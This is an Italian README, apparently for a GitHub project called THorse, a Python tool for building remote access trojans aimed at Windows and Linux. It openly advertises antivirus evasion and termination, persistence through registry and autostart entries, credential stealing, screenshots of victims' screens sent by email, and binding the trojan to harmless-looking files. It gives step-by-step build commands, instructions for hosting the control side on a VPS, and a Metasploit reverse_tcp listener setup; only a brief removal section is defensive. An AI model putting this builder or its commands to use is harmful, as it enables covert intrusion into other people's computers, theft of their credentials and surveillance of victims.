THorse

THorse è un generatore di RAT (Remote Administrator Trojan) per sistemi Windows/Linux scritto in Python 3.

                    Questo piccolo script Python può fare un lavoro davvero fantastico.

Disclaimer

:computer: Questo progetto è stato creato solo per buoni scopi e uso personale.

QUESTO SOFTWARE È FORNITO "COSÌ COM'È" SENZA ALCUNA GARANZIA. PUOI UTILIZZARE QUESTO SOFTWARE A TUO RISCHIO. L'UTILIZZO È DI COMPLETA RESPONSABILITÀ DELL'UTENTE FINALE. GLI SVILUPPATORI NON SI ASSUMONO ALCUNA RESPONSABILITÀ E NON SONO RESPONSABILI DI QUALSIASI USO IMPROPRIO O DANNO CAUSATO DA QUESTO PROGRAMMA.

Caratteristiche

• Funziona su Windows/Linux
• Notifica Nuova Vittima Via Email
• Non rilevabile
• Non richiede privilegi di root o amministratore
• Persistenza
• Invia uno screenshot dello schermo del PC della vittima via email
• Dà all'attaccante pieno accesso a Meterpreter
• Non richiede mai l'installazione di Metasploit per creare il trojan
• Crea un eseguibile binario con zero dipendenze
• Crea payload di dimensioni ridotte ~ 5mb con funzionalità avanzate
• Offusca il payload prima di compilarlo, bypassando così qualche antivirus in più
• Il payload generato è codificato in Base64, rendendo estremamente difficile fare reverse engineering del payload
• Termina l'antivirus sul PC della vittima e tenta di disabilitare Windows Security Center
• Interfaccia colorata fantastica per generare payload

Nota: Lo stealer personalizzato è codificato, non si basa su LaZagne

Testato Su

Kali Linux - ROLLING EDITION

Windows 10

Windows 8.1 - Pro

Windows 7 - Ultimate

Di seguito sono riportati i limiti del payload meterpreter generato con metasploit:-

• Devi avviare il listener di Metasploit prima di eseguire la backdoor
• La backdoor non diventa persistente da sola; dobbiamo usare i moduli di post-sfruttamento per rendere la backdoor persistente. E i moduli di post-sfruttamento possono essere usati solo dopo uno sfruttamento riuscito.
• Non ci avvisa ogni volta che il payload viene eseguito su un nuovo sistema.

Sappiamo tutti quanto sia potente il payload Meterpreter, ma il payload creato da esso non è comunque soddisfacente.

Di seguito sono riportate le funzionalità di questo generatore di payload che ti daranno una buona idea di questo script Python:-

• Usa il registro di Windows per diventare persistente in Windows.
• Riesce anche a diventare persistente nei sistemi Linux.
• Il payload può essere eseguito sia su LINUX che su WINDOWS.
• Fornisce accesso completo, poiché può essere usato il listener di Metasploit e supporta anche un listener personalizzato (puoi creare il tuo listener).
• Invia una notifica email quando il payload viene eseguito su un nuovo sistema, con informazioni complete sul sistema.
• Genera il payload in meno di un minuto o anche meno.
• Supporta tutti i moduli di post-sfruttamento di Meterpreter.
• Il payload può essere creato sia su Windows che su Linux.

Prerequisiti

• Python 3.X
• Alcuni moduli esterni

Nota importante:

Su Windows, specifica/imposta il percorso di Pyinstaller in paygen.py [Riga 14]

Il percorso predefinito è questo : PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe")

Modificalo in base al tuo sistema

Come Usare in Linux

# Install dependencies 
$ Install latest python 3.x

# Navigate to the /opt directory (optional)
$ cd /opt/

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ bash installer_linux.sh

# If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Come Usare su VPS (Consigliato)

# 1. Setup a VPS, You can buy Ubuntu VPS from any VPS Provider such as Digital Ocean, Linode, AWS, etc

# 2. Connect to your VPS Using SSH
$ ssh username@ip_address

# 3. Update Your Linux VPS
$ sudo apt update

# 4. Add Kali Linux Repository
$ sudo sh -c "echo 'deb https://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list"

# 5. Install gnupg package
$ sudo apt install gnupg

# 6. Add Kali Public Keys
$ wget 'https://archive.kali.org/archive-key.asc' && sudo apt-key add archive-key.asc

# 7. Update VPS
$ sudo apt update

# 8. Set Kali Priority
$ sudo sh -c "echo 'Package: *'>/etc/apt/preferences.d/kali.pref; echo 'Pin: release a=kali-rolling'>>/etc/apt/preferences.d/kali.pref; echo 'Pin-Priority: 50'>>/etc/apt/preferences.d/kali.pref"

# 9. Update VPS
$ sudo apt update

# 10. Install Metasploit Framework in VPS
$ sudo apt install -t kali-rolling metasploit-framework

# NOTE: Above Steps needs to be performed only for once 

# 11. Install pip3
$ sudo apt install python3-pip

# 12. Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# 13. Go into the repository
$ cd thorse

# 14. Installing dependencies
$ bash installer_linux.sh

# 15. If you are getting any errors while executing installer_linux.sh, try to install using installer_linux.py
$ python3 installer_linux.py

$ 16. chmod +x paygen.py
$ python3 paygen.py --help

# Making Payload/RAT (If you want to Compile RAT for Windows, then Build RAT on Windows Machine & Use VPS for Controlling RAT Remotely)
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT with Custom Time to become persistence
$ python3 paygen.py --ip VPS_Public_IP_Address --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --persistence 10 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Come Usare in Windows

# Install dependencies 
$ Install latest python 3.x

# Clone this repository
$ git clone https://github.com/PushpenderIndia/thorse.git

# Go into the repository
$ cd thorse

# Installing dependencies
$ python -m pip install -r requirements.txt

# Open paygen.py in Text editor and Configure Line 15, set Pyinstaller path, Default Path is as follows :-
# PYTHON_PYINSTALLER_PATH = os.path.expanduser("C:/Python37-32/Scripts/pyinstaller.exe") 

# Getting Help Menu
$ python paygen.py --help

# Making Payload/RAT
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -w -o output_file_name --icon icon_path

# Making Payload/RAT with Custom AVKiller [By Default, Tons of Know AntiVirus is added in Kill_Targets]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon_path --kill_av AntiVirus.exe

# Making Payload/RAT binded with legitimate file [Any file .exe, .pdf, .txt etc]
$ python paygen.py --ip 127.0.0.1 --port 8080 -e [email protected] -p YourEmailPass -l -o output_file_name --icon icon/txt.ico --bind passwords.txt 

Note: You can also use our custom icons from the icon folder, just use them like this  --icon icon/pdf.ico

Nota:- Il file dannoso verrà salvato nella cartella dist/, all'interno della cartella technowhorse/

Stabilire la Connessione Usando Msfconsole

• Devi installare Metasploit-Framework sul tuo sistema per stabilire la connessione

• Impostazioni consigliate, puoi provare a testarlo con qualsiasi altro payload nella riga 2

$ sudo msfconsole
msf3> use exploit/multi/handler
msf3> set payload python/meterpreter/reverse_tcp
msf3> set LHOST 192.168.43.221
msf3> set LPORT 443
msf3> run

Come Aggiornare

• Esegui updater.py per aggiornare automaticamente oppure scarica l'ultimo Zip da questo repository GitHub
• Nota: Git deve essere installato per poter usare updater.py

Argomenti Disponibili

• Argomenti Opzionali

Nota : Deve essere specificata una tra -w/--windows o -l/--linux

• Argomenti Richiesti

Nuovi Screenshot:

Ottenere aiuto

Generazione del payload

Fai riferimento anche a queste vecchie immagini

~Vecchi Screenshot:

Ottenere aiuto

Esecuzione dello script paygen.py

Quando il RAT viene eseguito, aggiunge una voce di registro per diventare persistente

Crea una copia di se stesso e la salva in Roaming

Report inviato dal RAT

Ricezione della notifica dal PC della vittima

Contributori:

Attualmente questo repository è mantenuto da me (Pushpender Singh). Ma se vuoi diventare un contributore, aggiungi qualche funzionalità interessante e apri una pull request; la esaminerò e la unirò a questo repository.

La pull request di tutti i contributori sarà accettata se merita per questo repository.

TODO

• Aggiungi nuove funzionalità
• Contribuisci con una GUI

Rimozione di TechNowHorse in Windows:

Metodo 1:

• Vai su Start, digita regedit ed esegui il primo programma; si aprirà l'editor del registro.
• Naviga al seguente percorso Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Dovrebbe esserci una voce chiamata winexplorer, fai clic con il tasto destro su questa voce e seleziona Elimina.
• Vai al percorso del tuo utente > AppData > Roaming, vedrai un file chiamato "explorer.exe", questo è il RAT, fai clic con il tasto destro > Elimina.
• Riavvia il sistema.

Metodo 2:

• Esegui "RemoveTHorse.bat" sul sistema infetto e poi riavvia il PC per fermare il file dannoso attualmente in esecuzione.

Rimozione di TechNowHorse in Linux:

• Apri il file di autostart con un editor di testo, Percorso del file di autostart: ~/.config/autostart/xinput.desktop

• Rimuovi queste 5 righe:

  root@kitploit:~

     [Desktop Entry]
     Type=Application
     X-GNOME-Autostart-enabled=true
     Name=Xinput
     Exec="destination_file_name"
  

• Nota: destination_file_name è il nome che hai dato al file dannoso usando il parametro -o del tuo TrojanHorse

• Riavvia il sistema e poi elimina il file dannoso salvato in questo percorso qui sotto

• Percorso di destinazione, dove è salvato TrojanHorse : ~/.config/xnput

Contributori

• Elenco dedicato dei contributori: Contributori

Pushpender Singh :computer:

Contributi di qualsiasi tipo sono i benvenuti!

NOTA: Se dovessi essere nella lista dei contributori ma ci siamo dimenticati di te, faccelo sapere!

Elenco TODO

• Suggerisci la tua funzionalità : )
• Sviluppo GUI
• Correzione bug
• Aggiungi più stealer di password per browser